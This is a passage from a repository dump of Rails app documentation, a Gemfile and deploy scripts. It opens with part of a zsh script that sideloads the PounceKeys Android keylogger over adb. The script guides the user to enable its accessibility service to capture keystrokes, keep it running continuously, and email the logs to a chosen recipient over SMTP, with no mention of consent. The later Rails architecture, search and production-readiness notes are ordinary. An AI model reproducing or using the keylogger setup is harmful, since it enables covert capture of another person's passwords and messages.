(error prevention, KISS)\n# $ref: master.json#/settings/core/task_templates/validate\nlog_and_toast \"Checking internet...\"\nping -c 1 google.com &gt;/dev/null 2&gt;&amp;1 || {\n    log_and_toast \"Error: No internet.\"\n    echo \"Solution: Connect to Wi-Fi or data. Retry? (Y/N)\"\n    read -k 1 retry\n    [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n    exit 1\n}\n\nlog_and_toast \"Checking Termux...\"\ncommand -v pkg &gt;/dev/null 2&gt;&amp;1 || {\n    log_and_toast \"Error: Termux not installed.\"\n    echo \"Solution: Install Termux from F-Droid.\"\n    exit 1\n}\n\n# Install dependencies (DRY, automated deployment)\n# $ref: master.json#/settings/installer_integration\nlog_and_toast \"Installing dependencies...\"\necho \"Install wget, curl, adb, termux-api, android-tools? (Y/N)\"\nread -k 1 install_deps\n[[ \"$install_deps\" == \"Y\" || \"$install_deps\" == \"y\" ]] &amp;&amp; {\n    pkg update -y &amp;&amp; pkg install -y wget curl termux-adb termux-api android-tools || {\n        log_and_toast \"Error: Package installation failed.\"\n        echo \"Solution: Check network, run 'pkg update' manually. Retry? (Y/N)\"\n        read -k 1 retry\n        [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n        exit 1\n    }\n}\n\n# Validate environment (error prevention, KISS)\n# $ref: master.json#/settings/core/task_templates/validate\nlog_and_toast \"Checking ADB...\"\nadb devices | grep -q device || {\n    log_and_toast \"Error: No device detected.\"\n    echo \"Solution: Enable USB debugging in Settings &gt; Developer Options. Retry? (Y/N)\"\n    read -k 1 retry\n    [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n    exit 1\n}\n\nlog_and_toast \"Checking Android version...\"\nANDROID_VERSION=$(adb shell getprop ro.build.version.release | cut -d. -f1)\n[[ \"$ANDROID_VERSION\" -lt $MIN_ANDROID_VERSION || \"$ANDROID_VERSION\" -gt $MAX_ANDROID_VERSION ]] &amp;&amp; {\n    log_and_toast \"Error: Android version $ANDROID_VERSION unsupported.\"\n    echo \"Solution: Use Android $MIN_ANDROID_VERSION-$MAX_ANDROID_VERSION.\"\n    exit 1\n}\n\n# Email configuration (NNGroup recognition, security)\n# $ref: master.json#/settings/communication/style\nlog_and_toast \"Configuring email...\"\necho \"Use Gmail? (Y/N)\"\nread -k 1 use_gmail\nif [[ \"$use_gmail\" == \"Y\" || \"$use_gmail\" == \"y\" ]]; then\n    SMTP_SERVER=\"smtp.gmail.com\"\n    SMTP_PORT=\"587\"\n    echo \"Enter Gmail address:\"\n    read smtp_user\n    echo \"Enter Gmail App Password:\"\n    read smtp_password\n    echo \"Enter recipient email:\"\n    read recipient_email\nelse\n    echo \"Enter SMTP server:\"\n    read SMTP_SERVER\n    echo \"Enter SMTP port:\"\n    read SMTP_PORT\n    echo \"Enter SMTP username:\"\n    read smtp_user\n    echo \"Enter SMTP password:\"\n    read smtp_password\n    echo \"Enter recipient email:\"\n    read recipient_email\nfi\n\n# Download and verify APK (DRY, robust error handling)\n# $ref: master.json#/settings/installer_integration/verify_integrity\nlog_and_toast \"Downloading APK...\"\nwget -O \"$APK_FILE\" \"$APK_URL\" || wget -O \"$APK_FILE\" \"$FALLBACK_URL\" || {\n    log_and_toast \"Error: Download failed.\"\n    echo \"Solution: Check network or download from PounceKeys GitHub.\"\n    exit 1\n}\n\nlog_and_toast \"Verifying APK...\"\nACTUAL_CHECKSUM=$(sha256sum \"$APK_FILE\" | awk '{print $1}')\n[[ \"$ACTUAL_CHECKSUM\" != \"$EXPECTED_CHECKSUM\" ]] &amp;&amp; {\n    log_and_toast \"Error: Checksum mismatch.\"\n    echo \"Solution: Delete $APK_FILE and retry.\"\n    rm -f \"$APK_FILE\"\n    exit 1\n}\n\n# Install APK (automated deployment, POLA)\n# $ref: master.json#/settings/core/task_templates/build\nlog_and_toast \"Installing APK...\"\necho \"Enable 'Install from Unknown Sources' in Settings &gt; Security.\"\necho \"1. Navigate to Settings &gt; Security (or Privacy).\"\necho \"2. Enable 'Install from Unknown Sources' for your browser or file manager.\"\necho \"Press Enter after enabling...\"\nread -p \"\"\nadb install \"$APK_FILE\" || {\n    log_and_toast \"Error: Installation failed.\"\n    echo \"Solution: Ensure Unknown Sources is enabled. Retry? (Y/N)\"\n    read -k 1 retry\n    [[ \"$retry\" == \"Y\" || \"$retry\" == \"y\" ]] &amp;&amp; exec \"$0\"\n    exit 1\n}\nrm -f \"$APK_FILE\"\n\n# Configure PounceKeys (NNGroup recognition, accessibility compliance)\n# $ref: master.json#/settings/core/task_templates/refine\nlog_and_toast \"Enable accessibility service...\"\necho \"This allows PounceKeys to capture keystrokes.\"\necho \"1. Go to Settings &gt; Accessibility &gt; Downloaded Services.\"\necho \"2. Find PounceKeys, toggle ON, and confirm permissions.\"\necho \"Press Enter after enabling...\"\nread -p \"\"\n\nlog_and_toast \"Disable battery optimization...\"\necho \"This ensures PounceKeys runs continuously.\"\necho \"1. Go to Settings &gt; Battery &gt; App Optimization.\"\necho \"2. Find PounceKeys, set to 'Don\u2019t optimize.'\"\necho \"Press Enter after disabling...\"\nread -p \"\"\n\nlog_and_toast \"Configure email in PounceKeys...\"\necho \"1. Open PounceKeys from app drawer.\"\necho \"2. Go to Settings &gt; Output &gt; Email.\"\necho \"3. Enter:\"\necho \"   - Server: $SMTP_SERVER\"\necho \"   - Port: $SMTP_PORT\"\necho \"   - Username: $smtp_user\"\necho \"   - Password: [your password]\"\necho \"   - Recipient: $recipient_email\"\necho \"Press Enter after configuring...\"\nread -p \"\"\n\n# Validation and testing (validation, user control)\n# $ref: master.json#/settings/core/task_templates/test\nlog_and_toast \"Setup complete!\"\necho \"Test by typing 'PounceKeys test' in any app.\"\necho \"Check $recipient_email for logs within 10 minutes.\"\necho \"Troubleshooting:\"\necho \"- No logs? Verify SMTP settings and accessibility.\"\necho \"- Uninstall: adb uninstall $PACKAGE_NAME\"\necho \"Log file: $LOG_FILE\"\necho \"EOF: pouncekeys_setup.zsh completed successfully\"\n# Line count: 110 (excluding comments)\n# Checksum: sha256sum pouncekeys_setup.zsh\n```\n\n## `rails/ARCHITECTURE_NOTES.md`\n```markdown\n# Rails App Architecture Notes\n\nThe Rails deploy folder should prefer tracked Rails source trees over one-shot generators.\n\nEach production app folder should mirror Rails structure:\n\n- app\n- app/controllers\n- app/models\n- app/views\n- app/javascript/controllers\n- app/assets/stylesheets\n- config\n- config/routes.rb\n- config/locales\n- db\n- db/migrate\n- db/seeds.rb\n- lib\n- public\n- storage\n- test\n\nDeploy wrappers should only sync, configure, migrate, seed, install service files, and wire relayd.\n\n**Relayd pattern recommendation** (see `DEPLOY/openbsd/` for current templates):\n- One table per app: `table  { 127.0.0.1 }`\n- SNI-based routing on :443 with `tls keypair` per domain.\n- Health checks: `check http \"/\" code 200`\n- Central `relayd.conf` managed from `DEPLOY/openbsd/etc/relayd.conf` or equivalent. Avoid per-app duplication.\n\n## Core rule\n\nA product folder is a Rails application folder first and a deployment folder second.\n\n## App groups\n\nBrgen is the Bergen local platform.\n\nAmber is a reusable baseline Rails application and bundle source.\n\nbsdports is close to production-ready and should be treated as a hardened reference app.\n\nHjerterom is its own product and should mirror Rails structure.\n\nblognet is the publishing network product.\n\nFoodielicious is the blognet food vertical and should clone the editorial/recipe affordances of Matprat-style sites while staying original in branding, copy, and implementation.\n\nMarketplace should use Solidus Starter Frontend as its baseline and then adapt to local style, deploy, and moderation standards.\n\n## Shared frontend direction\n\nBrgen's `application.css` (X.com 3-col + MASTER cinema palette + NNG tokens) is the visual base. All apps should inherit its `:root` variables and align components to it over time. See `shared/WIRING_NOTES.md` \u2192 \"Visual System &amp; Component Inheritance\".\n\nPhoto/multimodal upload is deliberately open to visitors on the public surface (see `shared/WIRING_NOTES.md` \u2192 \"Photo / Multimodal Upload Inheritance\"). This is a conscious KISS carve-out: anyone can attach images to chat, while the agent\u2019s deeper filesystem tools stay locked behind the auth token.\n\nUse Stimulus Components where possible.\n\nUse stimulus-lightbox backed by lightGallery.js for gallery needs.\n\nKeep the license key in credentials or environment, never in committed source.\n\nAll Rails apps should include live search.\n\nBaseline pattern: live search with Rails and StimulusReflex, following the Colby.so pattern from `https://www.colby.so/posts/live-search-with-rails-and-stimulusreflex`.\n\nImplementation rule:\n\n- Use StimulusReflex where already present.\n- Use Turbo/Stimulus-compatible live search where Reflex is not installed.\n- Search must be progressive enhancement, not a hard dependency for basic navigation.\n- Every search surface should support empty state, loading state, no-results state, and keyboard-friendly interaction.\n- Search should emit analytics/search events for shared discovery and ranking.\n\nRequired live-search surfaces:\n\n- Brgen root feed\n- markedsplass listings\n- spilleliste playlists\n- tv videos and shows\n- takeaway restaurants and menu items\n- blognet posts and authors\n- Foodielicious recipes and ingredients\n- bsdports ports/packages\n- Hjerterom content/resources\n- Amber baseline examples\n\n## Legacy scripts note\n\nThe `@*.sh` feature modules (now under `legacy/`) are reference patterns from earlier work (see `github_repos/rails-style-guide/`). The active model uses tracked app trees + thin deploy scripts. See `README.md` \u2192 \"Legacy feature scripts\" for details.\n\n## Completion checklist\n\n- Brgen folder mirrors Rails structure.\n- Brgen verticals live inside the Brgen Rails app unless operational separation is required.\n- Amber remains the bundle/bootstrap baseline.\n- bsdports becomes the production-readiness reference.\n- Hjerterom receives a Rails mirror layout and product architecture note.\n- blognet receives a Rails mirror layout and Foodielicious vertical note.\n- Marketplace restoration starts from Solidus Starter Frontend concepts and adapts them to local standards.\n- Shared frontend standards document Stimulus Components and lightGallery integration.\n- Every deployable app has README, domains/service notes, and restore status.\n- Every Rails app has live search on its primary index and discovery surfaces.\n```\n\n## `rails/LIVE_SEARCH_STANDARD.md`\n```markdown\n# Rails Live Search Standard\n\nAll Rails apps should provide live search on primary discovery surfaces.\n\nBaseline reference:\n\nhttps://www.colby.so/posts/live-search-with-rails-and-stimulusreflex\n\n## Principle\n\nLive search is a shared platform affordance, not a one-off page feature.\n\nIt should work across:\n\n- Brgen\n- markedsplass\n- spilleliste\n- tv\n- takeaway\n- blognet\n- Foodielicious\n- bsdports\n- Hjerterom\n- Amber examples\n\n## Implementation modes\n\nPreferred where StimulusReflex exists:\n\n- Stimulus controller captures input\n- Reflex performs server-side search\n- server morphs result frame\n- pagination or infinite scroll remains compatible\n\nFallback where StimulusReflex is absent:\n\n- Stimulus captures input\n- Turbo Frame receives search results\n- controller renders partial result list\n- basic query URL still works without JavaScript\n\n## Required UX states\n\nEvery live-search surface must include:\n\n- initial state\n- loading state\n- empty-query state\n- no-results state\n- result count\n- keyboard-friendly input\n- progressive fallback URL\n\n## Required backend behavior\n\nEvery live-search endpoint should:\n\n- debounce client input\n- sanitize query parameters\n- enforce visibility/moderation filters\n- scope by product or vertical\n- emit search analytics events\n- avoid leaking private content\n\n## Shared event\n\nSearchPerformed\n\nFields:\n\n- actor\n- query\n- app\n- vertical\n- result_count\n- latency_ms\n- filters\n- locality\n\n## Required surfaces\n\nBrgen:\n\n- root feed\n- posts\n- people/profiles\n- local discovery\n\nmarkedsplass:\n\n- listings\n- categories\n- sellers\n\nspilleliste:\n\n- playlists\n- tracks\n- collaborators\n\ntv:\n\n- videos\n- shows\n- channels\n\ntakeaway:\n\n- restaurants\n- menu items\n- cuisines\n\nblognet:\n\n- posts\n- authors\n- concepts\n- tags\n\nFoodielicious:\n\n- recipes\n- ingredients\n- guides\n- collections\n\nbsdports:\n\n- ports\n- packages\n- maintainers\n- categories\n\nHjerterom:\n\n- resources\n- pages\n- local content\n\nAmber:\n\n- baseline example search\n- reusable demo controller\n\n## Shared partial naming\n\nUse predictable names:\n\n- app/views/shared/_search_form.html.erb\n- app/views/shared/_search_results.html.erb\n- app/views/shared/_search_empty.html.erb\n- app/views/shared/_search_loading.html.erb\n\n## Shared Stimulus naming\n\nUse:\n\n- search_controller.js\n- live_search_controller.js\n\nAvoid app-specific JavaScript names unless the behavior is truly app-specific.\n\n## Restore guidance\n\nOld generator search code may be used as reference only.\n\nDo not restore StimulusReflex code blindly into apps that no longer use StimulusReflex.\n\nPort the interaction pattern, not stale implementation details.\n```\n\n## `rails/PRODUCTION_READINESS.md`\n```markdown\n# Production Readiness\n\nStatus as of this audit: not fully production-ready until the checks below pass on the OpenBSD target.\n\nRun the static gate before every deploy:\n\n```sh\nDEPLOY/rails/check_production_gate.rb\n```\n\n## Shared blockers\n\n- Rotate Rails credentials for every app that previously had a tracked `config/master.key`: `brgen`, `amber`, `bsdports`, `baibl`, `blognet`, and `hjerterom`.\n- Run each app under Ruby 3.4 with its locked bundle installed; every Gemfile now declares `ruby \"~&gt; 3.4\"`.\n- TLS terminates at OpenBSD `relayd`. Rails production configs should keep `config.assume_ssl = true` and leave `config.force_ssl` disabled.\n- Run `bin/rails db:prepare`, `bin/rails test`, `bin/brakeman`, and `bin/bundler-audit` per app.\n- Deploy to the OpenBSD target and verify `/up`, TLS, host authorization, logs, database writes, background jobs, and service restart.\n\n## brgen\n\nCloser to production than the subapps: routes and namespaced controllers are present, SSL and host authorization are configured, and the deploy script follows the tracked-tree model.\n\nRemaining checks:\n\n- Verify on Ruby 3.4; local host Ruby 3.3.8 cannot run the Gemfile.\n- Rotate credentials.\n- Smoke test all subdomain surfaces: `tv`, `dating`, `playlist`, `takeaway`, and marketplace aliases.\n- Exercise marketplace cart/order, messaging, voting, reactions, and TV live-stream flows.\n\n## amber\n\nNot production-ready yet.\n\nFixed in this pass:\n\n- Production proxy SSL trust, host authorization, and mailer host now target `amber.brgen.no`.\n\nRemaining checks:\n\n- Install the Rails 8 bundle and run the app test/lint/security suite.\n- Rotate credentials.\n- Verify wardrobe upload, Active Storage variants, AI endpoints, declutter flows, and visitor/public access boundaries.\n\n## bsdports\n\nNot production-ready yet.\n\nFixed in this pass:\n\n- Production proxy SSL trust, host authorization, mailer host, Solid Cache, and Solid Queue are configured for `bsdports.org`.\n\nRemaining checks:\n\n- Install the Rails 8 bundle and run the app test/lint/security suite.\n- Rotate credentials.\n- Verify ports import/search, watch/unwatch, comments, Solid Queue, and `/up` behind relayd.\n```\n\n## `rails/README.md`\n```markdown\n# Rails deployment portfolio\n\n`DEPLOY/rails` is the active production surface for pub4 Rails apps.\n\nThe generated Rails trees are deployment artifacts. The important source of truth is the tracked app tree plus its app-specific deploy script. Older one-shot Zsh generators in `study/` and `pub/__OLD_BACKUPS` are design lineage, not the current production contract.\n\n## Active apps\n\n| App | Script | Domain | Role |\n|---|---|---|---|\n| `brgen` | `brgen/brgen.sh` | `brgen.no` plus city/domain aliases | Hyperlocal social platform with marketplace, dating, playlist, tv, takeaway, maps, ai |\n| `amber` | `amber/amber.sh` | `amber.brgen.no` | Fashion / wardrobe / recommendation app |\n| `bsdports` | `bsdports/bsdports.sh` | `bsdports.org` | OpenBSD ports search/index app |\n| `baibl` | `baibl/baibl.sh` | `baibl.no` | Bible / reading / content service |\n| `blognet` | `blognet/blognet.sh` | app-specific | Blog/content network utility |\n| `hjerterom` | `hjerterom/hjerterom.sh` | app-specific | Food donation / pickup lineage from old backups |\n| `privcam` | `privcam/privcam.sh` | app-specific | Subscription/video platform lineage from old backups |\n\n## Production contract\n\nEach app deploy script should:\n\n1. copy the tracked `app/` tree into `/home//app`\n2. run Bundler in deployment mode\n3. run `RAILS_ENV=production bin/rails db:create db:migrate`\n4. seed only when `db/seeds.rb` exists\n5. install or update rc.d service\n6. register relayd backend\n7. restart service\n8. verify local `/up`\n9. verify relayd route if the public hostname is configured\n10. leave logs in `/var/log/.log` or the app-specific rc.d target\n\n## Hard requirements\n\n- No production app should expose raw Rails/Falcon ports publicly.\n- Public ingress goes through relayd/httpd/acme only.\n- Secrets live outside Git in `/etc/.env` or `/etc/rails/.env`.\n- App deploy scripts are idempotent.\n- Database migrations must be safe to re-run.\n- Background queue/cache services must be Solid Queue/Solid Cache or explicitly documented.\n- Every app must have a `/up` health endpoint.\n- Every app must have an rc.d restart smoke check.\n\n## Legacy feature scripts (@*.sh)\n\nThe many `@*.sh` files (now under `legacy/`) are extracted patterns from earlier generator work (see also `github_repos/rails-style-guide/`). They are **not** the current production contract.\n\nCurrent model (per ARCHITECTURE_NOTES.md):\n- Prefer tracked, hand-maintained `app/` trees inside each product folder.\n- Deploy scripts are thin (copy tree \u2192 bundle \u2192 migrate \u2192 rc.d + relayd).\n- Heavy one-shot generators are legacy.\n\nThese scripts (now in `legacy/`) remain useful as reference material for common patterns (auth, social, frontend, Solid stack, etc.) when bootstrapping a new vertical or recovering an old one. Do not run them blindly against production trees.\n\n## Backup-era lineage\n\n`pub/__OLD_BACKUPS/MEGA_ALL_APPS.md` describes the original app family:\n\n- `brgen`\n- `amber`\n- `privcam`\n- `bsdports`\n- `hjerterom`\n\nThat document used older assumptions: PostgreSQL, Redis, Devise, `devise-guests`, OmniAuth Vipps, StimulusReflex, PWA scaffolding, and generated-from-scratch app scripts.\n\npub4 intentionally converges this into a simpler production shape:\n\n- tracked app source trees\n- SQLite or external DB instead of mandatory PostgreSQL\n- Solid Queue / Solid Cache instead of mandatory Redis\n- OpenBSD rc.d services\n- relayd SNI routing\n- app-specific deploy scripts\n\n## Production hardening checklist\n\nFor every app:\n\n- [ ] `/up` responds locally\n- [ ] rc.d service starts cleanly\n- [ ] relayd backend is configured\n- [ ] no raw app port is open in pf\n- [ ] database migrations run cleanly\n- [ ] credentials are not committed\n- [ ] user identity does not leak email-derived names\n- [ ] uniqueness constraints exist for join tables\n- [ ] upload/content paths are bounded\n- [ ] background jobs are observable\n- [ ] service restart is verified after deploy\n\n## Recommended CI &amp; Smoke Standardization\n\nAll apps should include (see existing patterns in `brgen/app/.github/workflows/ci.yml`, `amber/app/.github`, etc.):\n\n- Security scans: `brakeman`, `bundler-audit`, `importmap audit`\n- Lint: RuboCop (with cache)\n- Basic test run (if tests exist)\n- Deploy script smoke (e.g. syntax check on the `*.sh`)\n- Each app tree should expose a `bin/ci` entrypoint that runs RuboCop, Brakeman, bundler-audit, and Minitest from the app root.\n\nSee `test_check_ports.sh` and individual app test/deploy/ folders for smoke examples. Add a `ci.yml` to any app missing one using the brgen/amber pattern as baseline. This supports MASTER `/scan` and council reviews.\n\nRepository-level checks should go through `bin/probe`. Use `bin/probe repo` for static production gates, `bin/probe rails` for per-app CI wrapper checks, and `bin/probe openbsd` on the target host for `rcctl` service state.\n\n## Secrets &amp; Environment Management (OpenBSD-friendly)\n\n- Store secrets in `/etc/rails/.env` (or `/etc/.env`) on the target server.\n- Source them in the rc.d service or falcon/puma command line (never commit to git).\n- Use `SECRET_KEY_BASE` and app-specific keys (e.g. `OPENAI_API_KEY`, `VIPPS_*`).\n- The thin deploy scripts should not embed secrets; they only set up the service to read the external env file.\n- For local dev, use `config/credentials.yml.enc` or `.env` in the tracked tree (gitignored).\n- Consistent pattern across brgen, amber, bsdports, etc. reduces operational surprises. See individual `*.sh` and the rc.d templates in `DEPLOY/openbsd/` for current examples.\n- `DEPLOY/rails/env.sample` inventories the shared keys plus app-specific ones so operators can trim a deploy env file without hunting through code.\n\n## Gem &amp; Dependency Alignment\n\nAll apps should target a consistent baseline (Rails 8, Solid Queue/Cache, Active Storage, importmap + Hotwire). Use `SHARED_BUNDLE_CACHE` in deploy scripts where possible. Pin major gems in individual Gemfiles but align on the family-wide set from `brgen` as the reference. Run `bundle update` coordinated across apps when upgrading shared dependencies. This reduces divergence and eases MASTER scans for security/compatibility.\n\n## Internationalization &amp; Locale Strategy (starter)\n\nThe city family should converge on a shared locale approach:\n- Use Rails i18n with `config/locales/` in each app + shared fallbacks where possible.\n- Brgen as the reference for city-specific terms (Norwegian + English).\n- Centralize common strings (errors, navigation, moderation) in `shared/` once the pattern stabilizes.\n- Support locale via subdomain or param consistently across verticals.\n\nSee `amber/config/locales/` and `brgen/config/locales/` as current examples. This is early-stage \u2014 coordinate before heavy investment.\n\n## Performance &amp; Caching Baseline (starter)\n\nTarget consistent use of the Solid stack (Solid Cache + Solid Queue) across apps.\n- Use `config/cache.yml` and `config/queue.yml` from the reference apps.\n- Prefer low-level caching for expensive queries and fragment caching in views.\n- Monitor with the existing pressure/observability in MASTER.\n- N+1 prevention and query analysis should be part of the review checklist when adding features.\n\nSee `amber/config/` and `brgen/config/` for current setups. Align before scaling individual verticals.\n\n## Directory map\n\n```text\nrails/\n\u251c\u2500 @core.sh          bootstrap, gem management, db, security\n\u251c\u2500 @assets.sh        Dart Sass, SCSS/CSS generation\n\u251c\u2500 @server.sh        rc.d, relayd, Falcon, Thruster\n\u251c\u2500 @frontend.sh      Stimulus, Pagy\n\u251c\u2500 @views.sh         partials, auth views, registration, layout\n\u251c\u2500 @social.sh        votes+comments, hashtags, direct messaging\n\u251c\u2500 amber/\n\u251c\u2500 baibl/\n\u251c\u2500 blognet/\n\u251c\u2500 brgen/\n\u251c\u2500 bsdports/\n\u251c\u2500 hjerterom/\n\u2514\u2500 privcam/\n```\n```\n\n## `rails/amber/ARCHITECTURE.md`\n```markdown\n# Amber architecture\n\nAmber is a wardrobe intelligence graph built from four layers.\n\n## 1. Identity and privacy\n\n- `User`\n- `Profile`\n- `PrivacySetting`\n- `IdentityVerification`\n- `ConsentEvent`\n- `CreatorProfile`\n\nThis layer owns user identity, public creator mode, wardrobe visibility, AI-analysis consent, and creator remix consent.\n\n## 2. Wardrobe graph\n\n- `Item`\n- `Outfit`\n- `OutfitItem`\n- `PlannedOutfit`\n- `WearLog`\n- `StylePreference`\n\nThis layer owns garments, combinations, usage history, preferences, planning, and style evolution.\n\n## 3. Intelligence and media\n\n- `GarmentEmbedding`\n- `Recommendation`\n- `EmbedGarmentJob`\n- `RecommendOutfitsJob`\n- `SegmentGarmentImageJob`\n- `RemoveBackgroundJob`\n\nThis layer owns embeddings, semantic matching, recommendation records, segmentation hooks, background-removal hooks, and safe AI fallbacks.\n\n## 4. Sustainability, travel, and commerce\n\n- `SustainabilityMetric`\n- `PackingList`\n- `PackingListItem`\n- `AffiliateLink`\n- `CalculateSustainabilityJob`\n\nThis layer owns cost-per-wear, resale estimates, repair estimates, packing, travel wardrobes, and affiliate commerce.\n\n## Deploy conventions\n\nAmber uses the common `DEPLOY/rails/@shared_functions.sh` helper and deploys the tracked app tree at `DEPLOY/rails/amber/app` into `/home/amber/app`.\n\nThe deploy wrapper uses a neutral shared bundle cache when available:\n\n```text\n/var/cache/pub4/bundle/ruby34\n```\n\nand falls back to normal Bundler resolution when no cache exists.\n\n## Vector direction\n\nThe current `GarmentEmbedding#vector` is JSON-backed so the app remains SQLite-compatible. When Amber moves to PostgreSQL/pgvector, replace the JSON vector column with a pgvector column and swap `WardrobeAiService#embedding_for` for a real embedding backend.\n```\n\n## `rails/amber/Gemfile`\n```text\nsource \"https://rubygems.org\"\nruby \"~&gt; 3.4\"\n\n# Bundle edge Rails instead: gem \"rails\", github: \"rails/rails\", branch: \"main\"\ngem \"rails\", \"~&gt; 8.1.2\"\n# The modern asset pipeline for Rails [https://github.com/rails/propshaft]\ngem \"propshaft\"\n# Use sqlite3 as the database for Active Record\ngem \"sqlite3\", \"&gt;= 2.1\"\n# Use the Puma web server [https://github.com/puma/puma]\n# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]\ngem \"importmap-rails\"\n# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]\ngem \"turbo-rails\"\n# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]\ngem \"stimulus-rails\"\n# Build JSON APIs with ease [https://github.com/rails/jbuilder]\ngem \"jbuilder\"\n\n# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]\ngem \"bcrypt\", \"~&gt; 3.1.7\"\n\n# Windows does not include zoneinfo files, so bundle the tzinfo-data gem\ngem \"tzinfo-data\", platforms: %i[ windows jruby ]\n\n# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable\ngem \"solid_cache\"\ngem \"solid_queue\"\ngem \"solid_cable\"\n\n# Reduces boot times through caching; required in config/boot.rb\ngem \"bootsnap\", require: false\n\n# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]\ngem \"image_processing\", \"~&gt; 1.2\"\n\ngroup :development, :test do\n  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem\n  gem \"debug\", platforms: %i[ mri windows ], require: \"debug/prelude\"\n\n  # Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)\n  gem \"bundler-audit\", require: false\n\n  # Static analysis for security vulnerabilities [https://brakemanscanner.org/]\n  gem \"brakeman\", require: false\n\n  # Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]\n  gem \"rubocop-rails-omakase\", require: false\nend\n\ngroup :development do\n  # Use console on exceptions pages [https://github.com/rails/web-console]\n  gem \"web-console\"\nend\ngem \"pagy\", \"~&gt; 9.3\"\ngem \"ruby-openai\"\ngem \"ruby-vips\"\ngem \"falcon\"\n```\n\n## `rails/amber/README.md`\n```markdown\n# amber \u2014 wardrobe intelligence\n\nFashion meets graph reasoning. amber tracks what you own, generates outfits, and builds a durable style identity across time.\n\nMost fashion platforms understand purchases. amber understands ownership, aesthetics, context, and identity \u2014 before you buy more.\n\n## Features\n\n- Wardrobe upload, segmentation, background removal\n- Outfit generation (weather, season, event, aesthetics)\n- Style evolution tracking (aesthetic phases, color trends, underused items)\n- Fashion embeddings \u2014 garments, creators, brands in one vector space\n- Visual similarity search, social feeds, affiliate commerce\n\n## Stack\n\nRails 8 \u00b7 SQLite/pgvector \u00b7 Falcon \u00b7 Hotwire \u00b7 Active Storage \u00b7 OpenBSD\n\n## Deploy\n\n```zsh\ndoas zsh DEPLOY/rails/amber/amber.sh\n```\n\n## Current Integration Status (2026)\n\n- **Visual system**: Should inherit Brgen's cinema palette + X.com layout tokens (see `DEPLOY/rails/shared/WIRING_NOTES.md` \u2192 Visual System).\n- **Activity Graph**: Should emit to the shared city activity stream (see `brgen/brgen_CORE.md` and `shared/WIRING_NOTES.md`).\n- **Photo / Multimodal**: Photo creation is allowed for visitors on the public surface. Amber can use the shared photo upload patterns for wardrobe uploads.\n- **Shared concerns**: Reactable, Followable, LiveSearchable, etc. available via `shared/`.\n- **Deploy**: Uses thin script + tracked tree model (prefers this over heavy @*.sh generators).\n\nSee `DEPLOY/rails/ARCHITECTURE_NOTES.md` and `WIRING_NOTES.md` for family-wide guidance.\n\n## Roadmap\n\nCreator wardrobes \u00b7 sustainability (cost-per-wear, resale) \u00b7 travel packing \u00b7 virtual try-on \u00b7 style agents\n```\n\n## `rails/amber/STIMULUS_ROLLOUT.md`\n```markdown\n# Amber Stimulus / Rails 8 rollout\n\nAmber is the best first product to receive the shared frontend baseline because the app matrix already marks Item, Outfit, Item photos, broadcasts, and item/outfit views as done.\n\n## Implement first\n\n1. Copy `DEPLOY/rails/shared/frontend/stimulus_components.js` into the app frontend entrypoint.\n2. Add Lightbox to item photo galleries.\n3. Add Sortable to outfit item ordering.\n4. Add Notification to wear/save/upload actions.\n5. Add Timeago to item/outfit cards.\n6. Add Clipboard to item/outfit share links.\n7. Add Dropdown + Auto Submit to wardrobe filters: category, color, mood, occasion, life phase.\n8. Add Content Loader to underused/never-worn item panels.\n\n## Rails 8 work\n\n- Move wardrobe image processing to Solid Queue.\n- Use Active Storage variants for thumbnails.\n- Cache wardrobe cards with Solid Cache.\n- Broadcast outfit/item changes with Turbo Streams.\n- Emit structured events:\n  - `amber.item.viewed`\n  - `amber.item.worn`\n  - `amber.outfit.created`\n  - `amber.photo.uploaded`\n\n## Acceptance\n\n- Items remain navigable without JavaScript.\n- Lightbox is enhancement only.\n- Outfit ordering persists server-side.\n- Upload/wear actions produce visible notifications.\n- Underused item panel has empty/loading/error states.\n```\n\n## `rails/amber/amber.sh`\n```bash\n#!/usr/bin/env zsh\n# amber.sh \u2014 deploys the tracked Amber Rails tree at app/.\nset -euo pipefail\n\nAPP_NAME=amber\nAPP_DIR=/home/${APP_NAME}/app\nAPP_PORT=61352\nAPP_DOMAIN=amber.brgen.no\nSCRIPT_DIR=${0:a:h}\nSRC_DIR=${SCRIPT_DIR}\nSHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}\n\n. \"${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh\"\n\nneed_cmd ruby34 bundle doas\n\n[[ -d $SRC_DIR ]] || { log_err \"missing source tree: $SRC_DIR\"; exit 1; }\n\nlog \"${APP_NAME} \u2014 deploying tracked tree \u2192 ${APP_DIR}\"\n\nid \"$APP_NAME\" &gt;/dev/null 2&gt;&amp;1 || doas useradd -m -L daemon -s /bin/ksh \"$APP_NAME\"\ndoas mkdir -p \"$APP_DIR\"\n\n# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)\ndoas cp -R \"${SCRIPT_DIR:h}/shared/bin/.\" \"${APP_DIR}/bin/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/public/.\" \"${APP_DIR}/public/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/config/.\" \"${APP_DIR}/config/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/app/.\" \"${APP_DIR}/app/\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/Rakefile\" \"${APP_DIR}/Rakefile\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/config.ru\" \"${APP_DIR}/config.ru\" 2&gt;/dev/null || true\n\n# Per-app tracked tree last (specialized instances + custom overrides win)\ndoas cp -R \"${SRC_DIR}/.\" \"${APP_DIR}/\"\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" 